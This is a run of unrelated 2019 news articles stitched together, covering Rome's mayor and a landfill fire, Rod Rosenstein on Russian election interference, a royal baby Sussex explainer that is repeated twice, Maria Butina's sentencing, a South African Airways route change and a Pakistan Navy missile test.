companies trying to capitalize on the boom in men spending more for their clothes is Rhone, which started with workout gear and is now expanding into dress shirts with a little bit more stretch. Nate Checketts, the co-founder and CEO at Rhone joined The Final Round to discuss the company Rome (AFP) - Rome's mayor vowed Friday to defend the Italian capital from criminals following a fire at an illegal landfill, the latest blow to an already beleaguered city. "Rome is under attack. Under attack from criminals that continue to act against citizens," Virginia Raggi said in a Facebook post hours after firefighters managed to bring the blaze in the eastern suburb of Collatina under control. "We will not stand by and watch," Raggi said. "I have declared war several times on the mafia and I'm not afraid: Rome will not remain under the control of these criminals". The 40-year old, the city's first female mayor, has come in for fierce criticism for the state of the Eternal City, from the streets strewn with rubbish and dotted with potholes, to closed metro stations in the tourists hotspots. Although the problems stem from before Raggi won the mayorship in 2016, there have been increasing calls for her to resign. She suffered a further setback last week after far-right leader Matteo Salvini thwarted a proposed measure which would have seen the state take on a large portion of the city's debt. The dump in the Collatina district, housing everything from broken appliances to building waste, was cordoned off by police in February and was due to be cleaned up by the city next week. Police said they had opened an arson investigation. The fire follows two large blaze at Rome waste treatment plants in the past four months, and 600 bins set alight across the city in the past two years. During a private speech Thursday evening, deputy attorney general Rod Rosenstein lamented the Obama administrations decision not to publicize Russian efforts to interfere in the 2016 election. Rosenstein, who oversaw special counsel Robert Muellers recently-concluded investigation into Russian election interference, suggested that the Obama administration did the public a disservice by not publicly revealing the full story of the Kremlins attempt to disrupt the election while adequate counter-measures could have been taken. Some critical decisions about the Russia investigation were made before I got there. The previous Administration chose not to publicize the full story about Russian computer hackers and social media trolls, and how they relate to a broader strategy to undermine America, Rosenstein said during an address to the Public Servants Dinner of the Armenian Bar Association. Rosenstein went on to criticize former FBI director James Comey for his decision to reveal the existence of a counterintelligence investigation into Russian election interference at the height of the 2016 campaign. The FBI disclosed classified evidence about the investigation to ranking legislators and their staffers. Someone selectively leaked details to the news media. The FBI Director announced at a congressional hearing that there was a counterintelligence investigation that might result in criminal charges, he continued. Then the former FBI Director alleged that the President pressured him to close the investigation, and the President denied that the conversation occurred. Obama administration officials elected not to publicize the extent of the Kremlins interference efforts because they believed they would be seen to be tilting the scales toward Hillary Clinton by exposing Russias preference for Trump, NBC News reported in December 2016. Their confidence in Clintons victory also bolstered their belief that alarming the public about election interference would prove unnecessary. Story continues More from National Review - 2019 Samir Hussein The Duchess of Sussex once described motherhood as being on her bucket list, the Duke of Sussex frequently confessed he would love to have children, and the rest is royally romantic history. The newlyweds, who married in Windsor last May, are days away from welcoming their first child, who will be seventh in line to the throne. As the nation waits for the Queen and Duke of Edinburgh's eighth great-grandchild to arrive, here is everything we know about royal baby Sussex so far, including what we know about how the Duchess plans to give birth and expected due date. When is the Royal baby due date? Though Kensington Palace have only publicly declared that the royal baby is due in the spring, nine-month pregnant Meghan let slip that she is due at the end of April or early May during an engagement in Birkenhead earlier this year. The couple announced their pregnancy to family and friends at Princess Eugenies wedding in October, just days before their royal tour of Australia, New Zealand, Fiji and Tonga. The Duke and Duchess of Sussex are expecting their first child in the spring Credit: PA The recent launch of Harry and Meghan's Instagram account, @sussexroyal, has led many to believe the royal baby will come very shortly. Royal baby gender - girl or boy? If the couple do know the gender, they're keeping it very quiet. They recently said they'd be thrilled with a baby boy or girl. There were rumours the Duchess was planning to bring up their child gender neutral, although those rumours have been denied. The current odds, courtesy of William Hill, are: Girl - 4/7 Boy - 5/4 Where will Meghan give birth? The Duke and Duchess of Sussex are to keep plans for the birth of their baby private, they have confirmed, as they decide they will not undertake a Lindo Wing-style appearance to show their new arrival to the watching world. The Duke and Duchess said they would be "celebrating privately as a new family" after the birth as a first priority. Story continues While photographs of the baby will be taken in the following days, the family of three will not greet members of the public in the same way as the Cambridges and other members of the Royal Family have done. Instead, they are likely to follow in the footsteps of the Queen with hopes for a home birth, expected to be at their new home in Windsor. The palace are expected to issue a short written announcement confirming the Duchess is in labour, with a second to follow upon the safe arrival of the baby, giving details of its sex, weight and time of birth. It is understood that photographs of the baby, taken in Windsor, will be issued later, when he or she is a few days old. The couple are also likely to utilise their Sussex Royal Instagram page to share news and images of their choice. Earlier this year, reports suggested Meghan may opt for an NHS hospital in Surrey, Frimley Park, just 15 miles from their new home Frogmore Cottage on the Windsor estate. Meghan's birth plans differ starkly from the Duchess of Cambridge who gave birth to all three of her children at the Lindo private maternity unit at St Mary's Hospital in Paddington, London. Princess Diana gave birth to Harry there in 1984. Diana, Princess of Wales and Prince Charles leave the Lindo Wing with Prince Harry in 1984 Credit: Anwar Hussein/Getty Images) What sort of birth is Meghan planning? The Duchess has reportedly appointed her own delivery team to oversee the birth - which could well be a home delivery. If she does deliver Baby Sussex at Frogmore Cottage, she would be following in the footsteps of the Queen, whose four children were born at either Buckingham Palace or Clarence House. An "unnamed female doctor" will apparently lead the team instead of Royal Household gynaecologists Alan Farthing and Guy Thorpe-Beeston, the Mail on Sunday reported. Meghan has broken from royal tradition by not appointing the Royal Household gynaecologists because she does not want "the men in suits" to supervise the birth. "Meghan said she doesnt want the men in suits. She was adamant that she wanted her own people. It did leave a few of us a little baffled," a source was quoted as saying. Frimley Park vs the Lindo Wing If reports of a home birth are incorrect, Meghan may end up giving birth at NHS-managed Frimley Park Hospital in Surrey, which does not offer private care to any patient in their 938 beds. It was, however, one of only three hospitals rated 'outstanding' by the Care Quality Commission in 2015. There are 14 labour rooms in the general ward and they handle thousands of births each year, including the births of Earl Edward and Countess Sophie of Wessex's two children as well as Chris Evans and wife Natasha Shishmanian's twins in 2018. While most women who give birth at Frimley Park leave within 12 hours, private postnatal rooms are available for 100 a night. For a little bit of 'Lindo', Meghan could also stay in one of the hospital's four birthing rooms (in The Mulberry Birth Centre), which boast a homely environment for birth without medical intervention. It's in stark comparison to the 6,000-a-night Lindo Wing, favourited by the Duke and Duchess of Cambridge, which offers a five-star birthing experience with expectant mothers accommodated in spacious private rooms with en-suite bathrooms. The first night in Lindo wing costs 5,900 (for the 'normal' delivery package) and every additional night is charged at 1,175. Read more about the Lindo Wing here. The Duke and Duchess of Cambridge leave Paddington's Lindo Wing with their third child, Prince Louis in April 2018 Credit: Chris Jackson/Getty Images What will the royal baby be called? There is much suspense as to what the Duke and Duchess of Sussex will call their baby. The youngster will be born into the British royal family, where tradition is an intrinsic part of the Windsors' lives. If they go classic, possibilities include Alice, Mary, Elizabeth or Victoria for a girl, and Philip, Frederick, Charles, Arthur, Edward or James for a boy. Of course, the pair are also forward-thinking royals and the Duchess has her own American upbringing to draw on. Canadian-born Autumn Phillips, and husband Peter Phillips, opted for a non-traditional name for their daughter Savannah - the Queen's first great-grandchild - in 2010. In the US, the most popular name for a baby girl is Emma and Liam for a baby boy. In the UK, the most popular name for a girl born in 2017 was Olivia and, for a boy, Oliver. In short, it's anyone's guess. Where will the baby fall in the line of succession? Seventh in line, which means it's highly unlikely the child will ever be monarch. The baby will have three cousins: Prince George (a future king), Princess Charlotte and Prince Louis - all of whom are further up the line of succession. It is a safe bet that the throne will stay on the Cambridge side of the family. The baby will bump Harry's uncle, the Duke of York, into eighth place in the line of succession. His daughters - Princesses Beatrice and Eugenie - will move into ninth and 10th place. Prince Edward, Earl of Wessex - the Queen's youngest son, drops out of the top 10 for the first time to 11th in line. What title will the new royal baby have? The Duke and Duchess of Sussex's baby will not be a prince nor a princess unless the Queen steps in. King George V - Harry's great great grandfather - limited titles within the royal family in 1917. This means the couple's first born, as a great-grandchild of the sovereign, is too far down the line of succession to be an HRH. George V declared that: "the grandchildren of the sons of any such Sovereign in the direct male line (save only the eldest living son of the eldest son of the Prince of Wales) shall have and enjoy in all occasions the style and title enjoyed by the children of Dukes of these Our Realms." The eldest son and heir apparent of a duke can use one of his father's lesser grade peerage titles by courtesy, according to Debrett's. With this in mind, a first son of Harry's would become Earl of Dumbarton - one of the subsidiary titles Harry received from the Queen on the morning of his wedding. A daughter would be Lady (first name) Mountbatten-Windsor, and any subsequent sons Lord (first name) Mounbatten-Windsor. The Duke and Duchess of Sussex during a visit to Rabat, late February 2019 Credit: PA Will the baby have dual citizenship? The Duke and Duchess could apply for their child to have dual US-UK citizenship. The Duchess is in the process of becoming a British citizen but it is not known whether she will hold dual nationality, and at present is still a US citizen. According to the American Embassy in the UK, a child born outside of the US and in wedlock to a US citizen parent and a non US citizen parent, may acquire US citizenship at birth if the US parent lived in America for five years - two of which were after the age of 14. Where will the family live? The Duke and Duchess have now moved out of Kensington Palace and into their new home Frogmore Cottage. The couple are settling into their new life away from London on the Windsor Estate, having carried out extensive 3 million renovations to the house. The Sussexes have lived at Nottingham Cottage at Kensington Palace since their engagement and following their wedding. Work on the listed property in Berkshire - including changing it from staff apartments into one mansion - overran and it was reported that the couple made constant design changes, meaning the builders fell behind schedule. The duke and duchess, who will foot the bill for furnishings, are said to have hired former Soho House interior designer Vicky Charles to transform their new pad. With this in mind, there have also been speculative reports that the royal couple are considering a major move to Africa which would enact an entirely unexpected upbringing for baby Sussex. Frogmore Cottage Will the Sussex's hire a nanny? Most likely. Harry has been close to all his nannies and it is likely he and Meghan will arrange for a nanny to care for their baby while they are on official engagements. Kate and William have the help of their full-time live-in nanny Maria Teresa Turrion Borrallo. Meghan's close friend Jessica Mulroney had two nannies to help her with her twin boys and younger daughter. The couple will almost certainly call upon the help of Meghan's mother Doria Ragland who will no doubt make frequent visits to London from her Los Angeles home to visit her grandchild. Ms Ragland has reportedly already arrived in the UK for the birth of baby Sussex, apparently hiring a house and dog sitter to take care of American affairs while she supports the new parents at Frogmore Cottage. Read more about what it's really like to be a royal nanny here. Who will be godparents? Loyal friends of the Duke and Duchess of Sussex look set to be asked to be godparents to the couple's first baby. Harry and Meghan are predicted to turn to their confidantes, many of whom had VIP seats in the Quire of St George's Chapel at the royal wedding last May, and whose children were their pageboys or bridesmaids. Royal infants usually have more than the standard three godparents. Prince Louis has six, future king Prince George has seven and Princess Charlotte has five. So who might be asked to be Baby Sussex's godparents? Meghan's stylist and best friend, Jessica Mulroney is expected to play an important part in the baby's life. She supported Meghan in the difficult days leading up to the wedding amid the turmoil caused by the absence of her father, Thomas Markle. Jessica Mulroney Credit: Getty Images The duchess's close friend, Benita Litt runs her own brand agency and helps others to start businesses. Meghan has spent Christmas with the Litt family in the past. She is godmother to Mrs Litt's daughters, Rylan and Remi, and also chose them to be her bridesmaids. Tennis champion Serena Williams is said to have hosted Meghan's lavish baby shower in the 57,400-a-night penthouse of the Mark Hotel in New York City. The pair have been friends since 2010. And who from Harry's side? The van Cutsems have been long-standing family pals of Harry, William and the Prince of Wales for many years. Harry might pick Major Nicholas van Cutsem, whose daughter Florence was a bridesmaid at the royal wedding and is Harry's goddaughter. Tom "Skippy" Inskip has long been considered Harry's wingman and was at his side during his partying days and Guy Pelly, dubbed the royal court jester for his wild ways could also be considered. Guy, whose family are wealthy Kent landowners, has settled down in recent years, marrying American hotel heiress Elizabeth "Lizzy" Wilson. Who will the royal baby grow up with? Baby Sussex will have an important bond with his or her cousins, growing up together with the shared experience of the upsides and downsides of being part of one of the world's most famous families. The child will be a first cousin of Prince George, Princess Charlotte and Prince Louis. The youngster will also have a host of second cousins - all great-grandchildren of the Queen. Days will be spent at the polo with Peter and Autumn Phillips' fun-loving children Savannah and Isla, and Zara and Mike Tindall's cheeky daughter Mia and her younger sister Lena. Princess Charlotte, Savannah Phillips, Prince George and Isla Philips at Trooping The Colour in 2018 Credit: Getty Images Europe What happened at Meghan's New York baby shower? In February, Meghan embarked on a "private" five-day trip to New York without any royal aides which ended with a luxurious baby shower at The Mark Hotel on New York's Upper East Side. Abigail Spencer, the actress who played 'Scottie' alongside the Duchess in legal drama Suits, was one of the first guests to be photographed walking through the front door. Other celebrity guests included Amal Clooney, CBS news anchor Gayle King, stylist Jessica Mulroney, and Misha Nonoo. The baby shower - which reportedly cost over 100,000 - was partially funded by tennis ace Serena Williams, who paid to host it in The Mark's penthouse suite. Other reported extravagances include a performance by Kanye Wests favourite harpist, a candy floss machine and 150 steaks. The Duchess rounded off her New York trip with a three and a half hour night out with her best friends, leaving her hotel just before 7pm and heading to the trendy Ralph Lauren Polo Bar. What about charitable donations? Harry and Meghan have asked the public to donate to four children's charities, instead of sending royal baby gifts. The suggested charities are the Lunchbox Fund, Well Child, Baby2Baby and Little Village. The royal couple have thanked royal fans for "making a real difference" by donating. A post on their @SussexRoyal Instagram account said: "On behalf of The Duke and Duchess (and Baby Sussex), we thank you so much." The message added: "Their royal highnesses wanted you to know the impact of your support - the direct effect your donation, energy, and action made! "YOU chose to be part of the collective good, and you have a made a real difference." Did they have a babymoon? The royal parents-to-be reportedly spent three nights at Heckfield Place, the transformed five-star Georgian manor house in Hampshire, ahead of the arrival of their first child. The couple apparently stayed in the Long Room at the luxury hotel, where chef Skye Gyngell runs the kitchen using ingredients from the ground. Read more about Heckfield Place here. Keep up to date with the Royal family by signing up to our weekly newsletter, Your Royal Appointment. - 2019 Samir Hussein The Duchess of Sussex once described motherhood as being on her bucket list, the Duke of Sussex frequently confessed he would love to have children, and the rest is royally romantic history. The newlyweds, who married in Windsor last May, are days away from welcoming their first child, who will be seventh in line to the throne. As the nation waits for the Queen and Duke of Edinburgh's eighth great-grandchild to arrive, here is everything we know about royal baby Sussex so far, including what we know about how the Duchess plans to give birth. When is the Royal baby due date? Though Kensington Palace have only publicly declared that the royal baby is due in the spring, nine-month pregnant Meghan let slip that she is due at the end of April or early May during an engagement in Birkenhead earlier this year. The couple announced their pregnancy to family and friends at Princess Eugenies wedding in October, just days before their royal tour of Australia, New Zealand, Fiji and Tonga. The Duke and Duchess of Sussex are expecting their first child in the spring Credit: PA The recent launch of Harry and Meghan's Instagram account, @sussexroyal, has led many to believe the royal baby will come very shortly. Royal baby gender - girl or boy? If the couple do know the gender, they're keeping it very quiet. They recently said they'd be thrilled with a baby boy or girl. There were rumours the Duchess was planning to bring up their child gender neutral, although those rumours have been denied. The current odds, courtesy of William Hill, are: Girl - 4/7 Boy - 5/4 Where will Meghan give birth? The Duke and Duchess of Sussex are to keep plans for the birth of their baby private, they have confirmed, as they decide they will not undertake a Lindo Wing-style appearance to show their new arrival to the watching world. The Duke and Duchess said they would be "celebrating privately as a new family" after the birth as a first priority. While photographs of the baby will be taken in the following days, the family of three will not greet members of the public in the same way as the Cambridges and other members of the Royal Family have done. Story continues Instead, they are likely to follow in the footsteps of the Queen with hopes for a home birth, expected to be at their new home in Windsor. The palace are expected to issue a short written announcement confirming the Duchess is in labour, with a second to follow upon the safe arrival of the baby, giving details of its sex, weight and time of birth. It is understood that photographs of the baby, taken in Windsor, will be issued later, when he or she is a few days old. The couple are also likely to utilise their Sussex Royal Instagram page to share news and images of their choice. Earlier this year, reports suggested Meghan may opt for an NHS hospital in Surrey, Frimley Park, just 15 miles from their new home Frogmore Cottage on the Windsor estate. Meghan's birth plans differ starkly from the Duchess of Cambridge who gave birth to all three of her children at the Lindo private maternity unit at St Mary's Hospital in Paddington, London. Princess Diana gave birth to Harry there in 1984. Diana, Princess of Wales and Prince Charles leave the Lindo Wing with Prince Harry in 1984 Credit: Anwar Hussein/Getty Images) What sort of birth is Meghan planning? The Duchess has reportedly appointed her own delivery team to oversee the birth - which could well be a home delivery. If she does deliver Baby Sussex at Frogmore Cottage, she would be following in the footsteps of the Queen, whose four children were born at either Buckingham Palace or Clarence House. An "unnamed female doctor" will apparently lead the team instead of Royal Household gynaecologists Alan Farthing and Guy Thorpe-Beeston, the Mail on Sunday reported. Meghan has broken from royal tradition by not appointing the Royal Household gynaecologists because she does not want "the men in suits" to supervise the birth. "Meghan said she doesnt want the men in suits. She was adamant that she wanted her own people. It did leave a few of us a little baffled," a source was quoted as saying. Frimley Park vs the Lindo Wing If reports of a home birth are incorrect, Meghan may end up giving birth at NHS-managed Frimley Park Hospital in Surrey, which does not offer private care to any patient in their 938 beds. It was, however, one of only three hospitals rated 'outstanding' by the Care Quality Commission in 2015. There are 14 labour rooms in the general ward and they handle thousands of births each year, including the births of Earl Edward and Countess Sophie of Wessex's two children as well as Chris Evans and wife Natasha Shishmanian's twins in 2018. While most women who give birth at Frimley Park leave within 12 hours, private postnatal rooms are available for 100 a night. For a little bit of 'Lindo', Meghan could also stay in one of the hospital's four birthing rooms (in The Mulberry Birth Centre), which boast a homely environment for birth without medical intervention. It's in stark comparison to the 6,000-a-night Lindo Wing, favourited by the Duke and Duchess of Cambridge, which offers a five-star birthing experience with expectant mothers accommodated in spacious private rooms with en-suite bathrooms. The first night in Lindo wing costs 5,900 (for the 'normal' delivery package) and every additional night is charged at 1,175. Read more about the Lindo Wing here. The Duke and Duchess of Cambridge leave Paddington's Lindo Wing with their third child, Prince Louis in April 2018 Credit: Chris Jackson/Getty Images What will the royal baby be called? There is much suspense as to what the Duke and Duchess of Sussex will call their baby. The youngster will be born into the British royal family, where tradition is an intrinsic part of the Windsors' lives. If they go classic, possibilities include Alice, Mary, Elizabeth or Victoria for a girl, and Philip, Frederick, Charles, Arthur, Edward or James for a boy. Of course, the pair are also forward-thinking royals and the Duchess has her own American upbringing to draw on. Canadian-born Autumn Phillips, and husband Peter Phillips, opted for a non-traditional name for their daughter Savannah - the Queen's first great-grandchild - in 2010. In the US, the most popular name for a baby girl is Emma and Liam for a baby boy. In the UK, the most popular name for a girl born in 2017 was Olivia and, for a boy, Oliver. In short, it's anyone's guess. Where will the baby fall in the line of succession? Seventh in line, which means it's highly unlikely the child will ever be monarch. The baby will have three cousins: Prince George (a future king), Princess Charlotte and Prince Louis - all of whom are further up the line of succession. It is a safe bet that the throne will stay on the Cambridge side of the family. The baby will bump Harry's uncle, the Duke of York, into eighth place in the line of succession. His daughters - Princesses Beatrice and Eugenie - will move into ninth and 10th place. Prince Edward, Earl of Wessex - the Queen's youngest son, drops out of the top 10 for the first time to 11th in line. What title will the new royal baby have? The Duke and Duchess of Sussex's baby will not be a prince nor a princess unless the Queen steps in. King George V - Harry's great great grandfather - limited titles within the royal family in 1917. This means the couple's first born, as a great-grandchild of the sovereign, is too far down the line of succession to be an HRH. George V declared that: "the grandchildren of the sons of any such Sovereign in the direct male line (save only the eldest living son of the eldest son of the Prince of Wales) shall have and enjoy in all occasions the style and title enjoyed by the children of Dukes of these Our Realms." The eldest son and heir apparent of a duke can use one of his father's lesser grade peerage titles by courtesy, according to Debrett's. With this in mind, a first son of Harry's would become Earl of Dumbarton - one of the subsidiary titles Harry received from the Queen on the morning of his wedding. A daughter would be Lady (first name) Mountbatten-Windsor, and any subsequent sons Lord (first name) Mounbatten-Windsor. The Duke and Duchess of Sussex during a visit to Rabat, late February 2019 Credit: PA Will the baby have dual citizenship? The Duke and Duchess could apply for their child to have dual US-UK citizenship. The Duchess is in the process of becoming a British citizen but it is not known whether she will hold dual nationality, and at present is still a US citizen. According to the American Embassy in the UK, a child born outside of the US and in wedlock to a US citizen parent and a non US citizen parent, may acquire US citizenship at birth if the US parent lived in America for five years - two of which were after the age of 14. Where will the family live? The Duke and Duchess have now moved out of Kensington Palace and into their new home Frogmore Cottage. The couple are settling into their new life away from London on the Windsor Estate, having carried out extensive 3 million renovations to the house. The Sussexes have lived at Nottingham Cottage at Kensington Palace since their engagement and following their wedding. Work on the listed property in Berkshire - including changing it from staff apartments into one mansion - overran and it was reported that the couple made constant design changes, meaning the builders fell behind schedule. The duke and duchess, who will foot the bill for furnishings, are said to have hired former Soho House interior designer Vicky Charles to transform their new pad. With this in mind, there have also been speculative reports that the royal couple are considering a major move to Africa which would enact an entirely unexpected upbringing for baby Sussex. Frogmore Cottage Will the Sussex's hire a nanny? Most likely. Harry has been close to all his nannies and it is likely he and Meghan will arrange for a nanny to care for their baby while they are on official engagements. Kate and William have the help of their full-time live-in nanny Maria Teresa Turrion Borrallo. Meghan's close friend Jessica Mulroney had two nannies to help her with her twin boys and younger daughter. The couple will almost certainly call upon the help of Meghan's mother Doria Ragland who will no doubt make frequent visits to London from her Los Angeles home to visit her grandchild. Ms Ragland has reportedly already arrived in the UK for the birth of baby Sussex, apparently hiring a house and dog sitter to take care of American affairs while she supports the new parents at Frogmore Cottage. Read more about what it's really like to be a royal nanny here. Who will be godparents? Loyal friends of the Duke and Duchess of Sussex look set to be asked to be godparents to the couple's first baby. Harry and Meghan are predicted to turn to their confidantes, many of whom had VIP seats in the Quire of St George's Chapel at the royal wedding last May, and whose children were their pageboys or bridesmaids. Royal infants usually have more than the standard three godparents. Prince Louis has six, future king Prince George has seven and Princess Charlotte has five. So who might be asked to be Baby Sussex's godparents? Meghan's stylist and best friend, Jessica Mulroney is expected to play an important part in the baby's life. She supported Meghan in the difficult days leading up to the wedding amid the turmoil caused by the absence of her father, Thomas Markle. Jessica Mulroney Credit: Getty Images The duchess's close friend, Benita Litt runs her own brand agency and helps others to start businesses. Meghan has spent Christmas with the Litt family in the past. She is godmother to Mrs Litt's daughters, Rylan and Remi, and also chose them to be her bridesmaids. Tennis champion Serena Williams is said to have hosted Meghan's lavish baby shower in the 57,400-a-night penthouse of the Mark Hotel in New York City. The pair have been friends since 2010. And who from Harry's side? The van Cutsems have been long-standing family pals of Harry, William and the Prince of Wales for many years. Harry might pick Major Nicholas van Cutsem, whose daughter Florence was a bridesmaid at the royal wedding and is Harry's goddaughter. Tom "Skippy" Inskip has long been considered Harry's wingman and was at his side during his partying days and Guy Pelly, dubbed the royal court jester for his wild ways could also be considered. Guy, whose family are wealthy Kent landowners, has settled down in recent years, marrying American hotel heiress Elizabeth "Lizzy" Wilson. Who will the royal baby grow up with? Baby Sussex will have an important bond with his or her cousins, growing up together with the shared experience of the upsides and downsides of being part of one of the world's most famous families. The child will be a first cousin of Prince George, Princess Charlotte and Prince Louis. The youngster will also have a host of second cousins - all great-grandchildren of the Queen. Days will be spent at the polo with Peter and Autumn Phillips' fun-loving children Savannah and Isla, and Zara and Mike Tindall's cheeky daughter Mia and her younger sister Lena. Princess Charlotte, Savannah Phillips, Prince George and Isla Philips at Trooping The Colour in 2018 Credit: Getty Images Europe What happened at Meghan's New York baby shower? In February, Meghan embarked on a "private" five-day trip to New York without any royal aides which ended with a luxurious baby shower at The Mark Hotel on New York's Upper East Side. Abigail Spencer, the actress who played 'Scottie' alongside the Duchess in legal drama Suits, was one of the first guests to be photographed walking through the front door. Other celebrity guests included Amal Clooney, CBS news anchor Gayle King, stylist Jessica Mulroney, and Misha Nonoo. The baby shower - which reportedly cost over 100,000 - was partially funded by tennis ace Serena Williams, who paid to host it in The Mark's penthouse suite. Other reported extravagances include a performance by Kanye Wests favourite harpist, a candy floss machine and 150 steaks. The Duchess rounded off her New York trip with a three and a half hour night out with her best friends, leaving her hotel just before 7pm and heading to the trendy Ralph Lauren Polo Bar. What about charitable donations? Harry and Meghan have asked the public to donate to four children's charities, instead of sending royal baby gifts. The suggested charities are the Lunchbox Fund, Well Child, Baby2Baby and Little Village. The royal couple have thanked royal fans for "making a real difference" by donating. A post on their @SussexRoyal Instagram account said: "On behalf of The Duke and Duchess (and Baby Sussex), we thank you so much." The message added: "Their royal highnesses wanted you to know the impact of your support - the direct effect your donation, energy, and action made! "YOU chose to be part of the collective good, and you have a made a real difference." Did they have a babymoon? The royal parents-to-be reportedly spent three nights at Heckfield Place, the transformed five-star Georgian manor house in Hampshire, ahead of the arrival of their first child. The couple apparently stayed in the Long Room at the luxury hotel, where chef Skye Gyngell runs the kitchen using ingredients from the ground. Read more about Heckfield Place here. Keep up to date with the Royal family by signing up to our weekly newsletter, Your Royal Appointment. Washington (AFP) - Alleged Russian agent Maria Butina faces sentencing in Washington Friday over her open effort to build a network of high-level Republican contacts via ties to the NRA gun lobby. While prosecutors have asked for 18 months in prison for the 30-year-old Siberian redhead, she could be deported immediately, after already spending nine months in a US jail. A key variable, analysts say, could be how her case is linked to Russia's recent arrest of American former Marine Paul Whelan on spying charges. The Justice Department alleged that although she lacks ties to Moscow's espionage agencies, Butina was part of a broad Russian plot to infiltrate and disrupt US politics -- which included meddling in the 2016 election. But Butina argued that her five-year effort building a network with Republicans -- bringing her into contact with President Donald Trump in 2015 -- was no more than a private endeavor to build US-Russian friendship. Moscow says she is the victim of a witch hunt and for months the Foreign Ministry has placed her picture at the top of its social media accounts, saying "Free Maria Butina." - 'Espionage-lite' charge - Butina is the only Russian to have been arrested during the sprawling, nearly three-year investigation into meddling in the 2016 election. She pleaded guilty last year to one count of conspiracy to act as an agent of a foreign government without notifying the US government -- a charge US prosecutors call "espionage-lite." Her case appears completely unrelated to the Russian election interference that Special Counsel Robert Mueller documented in his report last week on the investigation, and none of her American contacts have been accused of anything. The leader of a small Russian gun rights group supported by Kremlin politician Alexander Torshin, she began in 2013 to establish contacts with the National Rifle Association, one of the most powerful US political lobbies and strongly tied to the Republican Party. Story continues Between 2014 and 2016 she and Torshin attended annual NRA conventions, where they were personally welcomed by NRA leaders. She also attended Republican political rallies, including one for Trump, where she was chosen to ask a question about US-Russian relations. She began a personal relationship with a Republican and NRA operative, Paul Erickson, living with him, and became a graduate student at American University in Washington. All the while she continued efforts to get close to Republican figures. "I've been involved in securing a VERY private line of communication between the Kremlin and key (Republican) leaders through, of all conduits, the (NRA)," she emailed a friend in October 2016, weeks before the presidential election. - 'Spot-and-assess operations' - Butina's lawyer said the government had trumped up charges against her, and that she had fully cooperated with investigators. "Maria is accused of unofficial diplomacy and lobbying at conferences," he said. "For all the media coverage of Hollywood style, spy-novel allegations, in reality... there are no dead drops, brush passes, secret communications devices, hidden transmitters." In a court filing, a former senior US counterintelligence official said Butina's activities were part of a deliberate "spot-and-assess" intelligence operation to identifying possible recruitment targets. Steven Hall, the CIA's former chief of Russian operations, said her operating out in the open was simply an innovative tactic in Russian President Vladimir Putin's "broader hybrid-warfare influence operation." "She's part of the Kremlin's plan to try to weaken the United States and the West," he said. - Whelan case - It is unclear whether the resolution of Butina's case will impact Whelan's. The corporate security official was arrested by Russia's FSB security service in Moscow in late December, where he had traveled for a wedding. He was accused of espionage after he accepted a USB drive allegedly containing state secrets from a Russian friend. Like Butina, his behavior did not suggest a trained intelligence operative, experts say. Whelan's brother David doesn't believe the two cases are related, but Hall said Washington "has to take into account that they do have an American over there, and we have a Russian here." "So is there not a deal to be had?" he said. South Africa: SAA announces contingency plans for Blantyre route South African Airways (SAA) is offering its customers alternative travel arrangements to Malawi following the closure of the runway at Chileka International Airport. In a statement on Thursday, SAA said it will facilitate travel via Lilongwe for onward connection to Blantyre. This is intended to avoid any service disruptions and is part of contingency plans to re-accommodate customers via Lilongwe. SAA customers will travel between Johannesburg and Lilongwe on SAA operated aircraft and further to/from Blantyre with Ethiopian Airlines. The runway of the airport located in Blantyre was closed on Wednesday for maintenance purposes, while the secondary runway remains operational for the duration of the works. The secondary runway is being used for arrivals and departures of aircraft of appropriate categories/classes. Airport authorities notified SAA that the main runway will remain closed until 23 July 2019. SAA operates three weekly services between Johannesburg and Blantyre (Mondays, Wednesdays and Saturdays). The aircraft size, which SAA operates to Blantyre, does not fit in the required categories/classes of the secondary runway. The national carrier, which earlier in the week announced the cancellation of several flights, on Thursday apologised to its customers for the inconvenience caused. We will continue to look for ways to minimise the impact of operational changes to offer more travel convenience for customers, it said. SAA customers travelling to/from Lilongwe on SAA-operated aircraft can enjoy business class, subject to availability, as SAA will be operating the A320/A319 on this route, which offers business and economy products. All passengers that have not been ticketed will be rebooked onto the next available flight under the following conditions: SAA will rebook affected passengers between Johannesburg and Lilongwe. SAA has made re-accommodation of reservations onto the closest available flight between Johannesburg and Lilongwe in the same booking class. The booking owner can book ET between LLW and BLZ in the lowest available booking class. Change fees will be waivered. Tickets must be re-issued on/before 07 May 2019. The booking owner may re-issue the ticket. Tickets to be endorsed INVOL Re-RRT due BLZ RUNWAY Closure/Date. A full refund of the unused portion/ticket will only be considered once the aforementioned options have been considered. Customers can also contact the SAA contact centre in South Africa on (011) 978 1111 or 0861 606 606 and in Blantyre on +265 1820 991. - SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. Recently, the Pakistan Navy conducted another test-firing of an indigenously built cruise missile. Yet, this time, the cruise missile was a shipborne variant, fired from an Azmat-class patrol vessel, the PNS Himmat (1027), in the North Arabian Sea. Recently, the Pakistan Navy conducted another test-firing of an indigenously built cruise missile. Yet, this time, the cruise missile was a shipborne variant, fired from an Azmat-class patrol vessel, the PNS Himmat (1027), in the North Arabian Sea. PNS Himmat patrol vessel test-firing a shipborne cruise missile in January 2018. (Picture Source: Pakistan Navy) According to a statement of the Pakistan Armed Forces' official media communications group (the Inter-Services Public Relations, or ISPR) of April 23, the test accurately hit its target on land. Though, nothing was said about which type of target it was, and about the distance of this target from the vessel. Another similar test-firing of a shipborne cruise missile from PNS Himmat was held in January 2018. On both tests, the ISPR made an announcement, only saying that the missile had anti-ship and land-attack capabilities and that it was indigenously developed. This test comes as tensions between Pakistan and India remain critical in the region. Since the Pulwama attack that occurred in India on February 14 this year, India and Pakistan continuously maintain their military presence on their shared borders but also in their shared maritime zones. Both countries seek to be ready to use their armed forces if it is needed. Washington (AFP) - Maria Butina, the only Russian arrested and convicted in the three-year investigation of Moscow's interference in US politics, was sentenced on Friday to 18 months in prison. The leader of a small Russian gun rights group, the 30-year-old Siberian native used her ties to the National Rifle Association to build a network of powerful Republican contacts. She had admitted one count of conspiracy to act as an agent of a foreign government without registering -- a so-called "espionage-lite" charge the US has used before against alleged Russian spies. Prosecutors said that although she worked openly and was not tied to any Russian intelligence agency, she was sending back reports to a high-level Russian government official and posed a threat to the United States. "I humbly request forgiveness. I'm not this evil person depicted in the media," she told the court in Washington before her sentence was announced. Dressed in a dark blue pajama-like prison uniform, her long red hair pulled behind her shoulders, Butina's voice broke as she addressed the court in fluent, Russian-accented English. She told the court she had only wanted to work towards better US-Russian relations and would have registered as a foreign agent if she had known it was required by law. - Top Republicans - Moscow expressed outrage over the treatment of Butina, who was given credit for nine months already served and will be deported when she is released. "The 